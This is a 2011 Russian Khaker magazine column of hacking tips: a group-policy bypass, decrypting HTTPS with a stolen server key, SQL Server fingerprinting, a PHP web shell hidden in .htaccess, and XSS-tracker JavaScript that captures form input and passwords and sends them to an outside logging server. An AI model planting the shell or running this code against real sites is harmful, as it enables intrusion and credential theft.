Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 151, АВГУСТ 2011 г.

Easy Hack: Хакерские секреты простых вещей

Задача: Расширить познания в области информационной безопасности

Решение

Знания — сила, с этим трудно поспорить. Знания во многом основываются на впитываемой нами информации. Последняя должна быть актуальной и достоверной. Где же взять такую? Сейчас очень многое можно почерпнуть с сайтов всевозможных секьюрити компаний и с блогов различных спецов. Но их количество очень велико, особенно если тебя интересуют какие-то конкретные направления, не говоря уже, что ресурсы сильно разнятся по качеству. В общем, примерно на такой мысли был организован проект по обмену букмарами — bit.ly/hPFQ4i.

На нем сейчас представлено большое количество закладок на самые различные темы, можно добавлять и свои. Что приятно — мониторят данный проект хорошие секьюрити-специалисты из известных компаний, так что за качество можно не беспокоиться. Кроме того, так как данный выпуск рубрики получился во многом web-ориентированным, предлагаю еще один соответствующий линк.

Jeremiah Grossman— широко известная в узких кругах личность. И он каждый год (на протяжении последних пяти лет) проводит конкурс «Top Ten Web Hacking Techniques» (bit.ly/gmlXLZ). Последние призы: проходка на конфу OWASP’а BlackHat USA и пучок книг.

Здесь важно отметить, что в список в основном попадают не конкретные баги каких-то продуктов, а именно новые техники и векторы, что более интересно. Но для нас главное то, что мы можем почерпнуть оттуда целый мешок всего интересного. Многое из описанного в рубрике как раз было почерпнуто из этого списка.

Задача: Обход групповой политики на запрет командной строки

Решение

Вернемся к обсуждению темы обхода групповых политик винды, начатой в прошлых номерах. Напомню: групповые политики — это, по сути, набор дополнительных ограничений (помимо ограничений прав доступа к объектам ОС) для обычных пользователей, выставляемых админом.

Сегодня мы коснемся политики — запрет доступа пользователей к командной строке. На практике я ее не встречал, но вот способ обхода такой забавный, что я не мог не написать :). Материал был взят с www.securityaegis.com. Итак, давай посмотрим, что это за политика:

  1. Start - Run - gpedit.msc;
  2. User Confi guration - Administrative Templates;
  3. System - Prevent access to the command prompt.

Суть ее в том, что пользователь не может запускать cmd.exe и bat-/cmd-скрипты. Конечно, ограничение так себе— vbs и аналоги запускать все равно можно. Но вернемся к обходу ограничения. Действует оно на ОС до Windows XP включительно.

Фича в том, что в данных ОС кроме командной строки cmd.exe есть еще и command.com. Последняя — это урезанная DOS-консоль, оставленная для обратной совместимости, и она имеет очень ограниченный функционал. Теперь самое интересное: запустить command.com мы можем, но запускать хоть сколько-нибудь значимые команды (ipconfig, например) возможности нет — отображается все то же ограничение на запуск консоли. Зато мы можем запустить встроенную команду, типа смены директории «cd». И в итоге, следующая комбинация будет работать нормально:

cd | ipconfi g

Точно описать причинно-следственную связь такого поведения, почему оно работает, я не могу. Но подведу итог: ААА! Это просто умора :).

Задача: Проверить https на дырявость

Решение

Одна из проблем протокола HTTP — отсутствие шифрования трафика и проверки целостности данных, то есть присутствует возможность проводить атаки Man-in-the-middle. Все данные передаются открытым текстом, а это, согласись, совсем не круто. HTTPS — расширение протокола HTTP, поддерживающее шифрование за счет использования SSL/ TLS-криптопротокола. В SSL используется асимметричный алгоритм с открытым ключом. В лучшем случае получается, что данные шифруются, а клиент удостоверяется, что сервер — это именно тот сервер. Но как ни странно, HTTPS — не панацея. Здесь тоже есть свои дырки, особенно в первой версии протокола. Сразу вспоминаются проблемы с самоподписанными сертификатами и успешные атаки хакеров на корневые центры сертификации. В итоге, в определенных ситуациях можно перехваченный трафик расшифровать, но что более актуально — провести пресловутый MiTM. Вообще — тема интересная! Но ладно, я о другом. HTTPS — вещь специфическая, и если тебе необходимо проверить сервер не вникая в тонкости, то можно поручить это дело одному web-сервису — www.ssllabs.com/ssldb/analyze.html. Данный ресурс отлично справляется со своей задачей: проверяет сертификат, настройки шифрования, выводит оценку в соответствии со стандартом, дает ссылки с примерами атак на выявленные прорехи. Так что почекай сервер своего интернетбанка и напиши им гневное письмо о том, что они не заботятся о своих клиентах! Если что-то не так, конечно :).

Задача: Расшифровать https-трафик

Решение

И в продолжение предыдущей задачи — пример жизненный. Против админа была проведена arp-spoofing-атака и украден HTTPS-трафик общения его с сервером, если точнее— авторизация.

Конечно, правильнее было бы сразу провести MiTM и подменить сервер своим сервером, особенно с учетом того, что на сервере был самоподписанный сертификат (что, в общем-то, обычно для локальных сеток), но как-то не срослось :). В итоге был кусок HTTPSтрафика, расшифровать который просто так не представляется возможным. Хотя… при плохом шифровании и использовании облачных вычислений :)... Но это уже частности. В общем, использую другую уязвимость и житейскую хитрость. Был украден закрытый ключ с сервера и сохранен локально в файлик la-la-la.key. Что дальше? Открываем Wireshark:

  1. Открываем отсниффанный HTTPS-трафик;
  2. Меню Edit - Preferences;
  3. В списке Protocols находим SSL(вводя буквы);
  4. В RSA key list пишем через запятую:
  5. IP-адрес сервера, порт, протокол, путь к ключу 192.168.0.100,443,SSL,с:\la-la-la.key;
  6. Apply.

Задача: Определить обновление MS SQL

Решение

Наверное, нет смысла говорить о том, что сбор информации о сервере/сервисе— вещь чрезвычайно важная при взломе. Получив точный номер версии, мы можем посмотреть уязвимости продукта, возможно— нарыть паблик-эксплоиты. Для MS SQL получить точный номер, включая номер билда,— не проблема. Через SQL-запрос:

Select @@version

Или Nmap’ом:

Nmap –sV –p1433 <targets>

Но интересное далее. На www.sqlteam.com/article/sql-server-versions (и аналогичных сайтах) добрые люди ведут сопоставление между конкретными версиями MS SQL и номерами обновлений для него от MS. Что приятно — указаны и даты выпуска обновлений, и линки на них. Так что мы сразу можем понять, обновляется ли сервер, и посмотреть баги, исправленные в следующих патчах.

Задача: Залить и спрятать веб-шелл на сервере

Решение

Решение данной задачи основано на посте в блоге, автор которого — Eldar Marcussen (bit.ly/mm1ynI). В нем он поделился опытом о тестировании какой-то CMS’ки, в которой предложил прятать шелл в стандартном для Apache файле— .htaccess. Сама идея не особо нова и не особо юзабельна, но что-то в ней определенно есть, ее стоит держать где-то в уме, на полочке.

Напомню, .htaccess— это файл дополнительной конфигурации веб-сервера Apache. Он является подобием httpd.conf с той разницей, что действует только на каталог, в котором располагается, и на его дочерние каталоги. Возможность использования .htaccess в том или ином каталоге указывается в httpd.conf (директива AllowOverride).

Таким образом, получается, что закачав .htaccess на сервер, мы можем изменить настройки. Кроме того, .htaccess является неплохим местом для того, чтобы спрятать web-шелл от глаз людских, потому как он в основном воспринимается как что-то системное, необходимое. Ну а теперь практический пример:

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
#### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?> #####

Итак, пояснения. Первый блок используется для перезаписи дефолтного правила, запрещающего доступ к .htaccess из веба. Далее определяем .htaccess как файл, который исполняется как php-скрипт. И последнее — в комментариях спрятан простейший php-шный шеллкод, который выполняет в системе команду, полученную в параметре 'c' c выводом всех данных обратно в браузер. Запускаем команды следующим образом: http://victim.com/path/.htaccess?c=command.

Как видишь— все просто. Apache воспринимает этот файл как обычный .htaccess, а php вырывает только нужный ему кусок. Eldar Marcussen на этом не остановился, расширил сам шелл и продолжил изыскания новых векторов атак, связанных с файлами настроек Апача. Более подробную информацию можно прочитать здесь— bit.ly/jBHjNz, а скачать здесь— bit.ly/lu9CuD.

Задача: Получить максимум через xss-уязвимость

Решение

XSS — одна из самых распространенных сейчас уязвимостей на вебсайтах. По теории, XSS-бывают двух видов:

  • stored/активная XSS — та, которая хранится на сервере и запускается сразу при открытии жертвой страницы;
  • reflected/пассивная XSS — не хранится на сервере и требует от пользователя перехода по специально сформированной ссылке, код в которой и будет исполнен.

Второй вид очень часто не воспринимается людьми как опасный. Дескать, пользователь сам дурак, что перешел по кривой ссылке. И очень зря, ведь XSS можно скрыть с помощью сервисов по свертыванию ссылок, но более интересная идея описана дальше. Обычно всех пугают раскрытием данных из кукисов, которые чаще всего содержат идентификатор сессии и еще какую-нить конфиденциальную информацию:

<script>alert(document.cookie); </script>.

Как понятно, вместо отображения кукисов, злобные взломщики перенаправляют эти данные к себе на сервер. В результате у них появляется возможность зайти на какой-то ресурс, используя данные кукисов под пользователем, у которого эти кукисы были украдены. Как ни странно, вполне адекватная защита от этого есть — флаг HttpOnly, который указывает на запрет чтения/записи данных Cookie посредством JavaScript, отсюда и название: кукисы доступны только через протокол HTTP. Получается, что атакующий уже не может украсть данных. Казалось бы XSS мог потерять актуальность, однако есть несколько обходов этого ограничения.

По сути своей, чтобы вполне осознать серьезность XSS-уязвимостей, важно понять, что, используя возможности яваскрипта, мы можем сделать почти все что захотим. В качестве примера я хочу представить нашего польского соратника по цеху— Кшиштофа Котовича и его творение с названием XSS-tracker: bit.ly/9zZU68. Суть идеи заключается в том, чтобы используя возможности яваскрипт, следить за действиями пользователя на всем сайте и при необходимости сграбить ценные данные с просматриваемых страниц, либо выполнить какие-то команды вместо пользователя. Но как это сделать? Ведь XSS обычно находится на одной конкретной странице. А мы хотим следить за пользователем по всему сайту. Как же это сделать? Кшиштоф предложил использовать для этого развернутый на весь экран фрейм, куда поместить контент с настоящего сайта. В результате пользователь будет ползать уже внутри iframe, при этом фактически не покидая страницу, где находится XSS. Вредоносный яваскрипт при этом продолжает работу и имеет полный доступ ко всему, что находится внутри iframe. Причем так как дырка находится на самом сайте и фрэйм оттуда же, то кроссдоменная политика никак не ограничивает яваскрипт. Надеюсь, что у меня получилось понятно объяснить суть идеи. Если нет, то попрактиковавшись на тестовом сайте bit.ly/jETYQx, ты все поймешь.

Не могу сказать, что поляк открыл что-то неведанное, о таком подходе многие думали, но он сделал качественную реализацию, собрав все воедино. Пока в XSS-tracker реализован мониторинг ввода данных и перехват файлов. На практике все реализовано на базе библиотеки jQuery и выглядит следующим образом. Сначала прячется сам фрэйм и подгружается исходная страницу:

$('body').children().hide();
$('<iframe>')
.css({ position: 'absolute', width: '100%', height: '100%',
top: 0, left: 0, border: 0, background: '#fff' })
.attr('src', 'http://example.com').appendTo('body');

Доступ к внутренним элементам мы получаем каждый раз при обновлении фрейма, то есть при любом переходе пользователя внутри фрэйма.

$('<iframe>').load(function() {
this.contentWindow; this.contentDocument;
});

Мониторинг переходов по всем ссылкам и ввод форм.

$('body',this.contentDocument)
.fi nd('a')
.click(function() {
log({event:'click', 'from': location, 'href': this.href,
'target': this.target});
})
.end()
.fi nd('form')
.submit(function() {
log({event: 'submit',
from: location,
action: $(this).attr('action') || location,
fi elds: $(this).serialize()
});
})
.end();

Аналогичным образом, используя селекторы jQuery, мы можем обратиться к любому элементу внутри страницы. Селектор— это что-то вроде описания элемента, к которому обращаешься. Причем селекторы можно задавать в своего рода регекспах. Если интересно, очень показательно все описано на сайте api.jquery.com/category/selectors.

Например, используя следующий селектор, мы находим поле ввода сименем password и выводим его значение алертом на экран:

аlert($('input[name|="password"]').val());.

Ну и система логирования всех украденных данных находится на любом стороннем сайте. Данные отправляются через GET-запрос:

function log(what) {
what["_"] = Math.random();
try {
$.get(logUrl, what);
} catch (e) {
var i = new Image();
i.src = logUrl + "?" + encodeURIComponent($.param(what));
$(i).load(function() {$(this).remove();}).appendTo("body");
}
};

Остальные фичи и возможности ищи на сайте автора. В общем, идея хороша, и над реализацией автор тоже потрудился на славу. Ему спасибо :). Теперь о минусах и тонкостях.

  1. Данная реализация из-за XSS-фильтра не работает в IE8 и Chrome.
  2. Против данной технологии (XSS+iframe) используются методы защиты— frame busting. Это специальные яваскрипты, уничтожающие фреймы. Но это все тоже можно обойти :).
  3. При открытии в фрейме другого сайта, мы уже не можем просматривать внутренности из-за кросс-доменных политик.

В общем, тема очень большая и не совсем подходит к формату этой рубрики. Странно, что никто из авторов журнала, более прошаренных в web-безопасности, чем я, еще не писал об этом :).

И под конец еще один небольшой пример, чтобы еще больше напугать всех. Следующую атаку удалось провернуть мне с Алексеем Синцовым. Есть сайт А, на котором есть XSS-уязвимость. Есть пользователь, который залогинен на сайте А. Куки защищены HttpOnly + рандомный идентификатор в самом HTML-коде. Была реализована следующая атака. Пользователь зашел на сайт Б, который принадлежит злоумышленнику. На этом сайте в скрытом фрейме подгрузился сайт А с запуском XSS-уязвимости. Данная уязвимость запустила XSS-tracker, то есть еще один фрэйм с сайтом А. Докрученный XSS-tracker вынул из кода рандомный идентификатор и с учетом того, что куки с браузером жертвы посылаются автоматом, смог выполнить команду от имени жертвы. Получился такой злой XSS+CSRF. В результате даже впаривать кривую ссылку пользователю не надо.

PS. Хотелось бы поблагодарить Дмитрия Евдокимова aka D1g1 (редактора раздела софта Security нашего DVD) за помощь, оказанную в подготовке материалов в эту рубрику :).

PS2. В продолжение темы о наполнении себя знаниями— приходи на встречи Defcon-Russia (www.defcon-russia.ru).

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001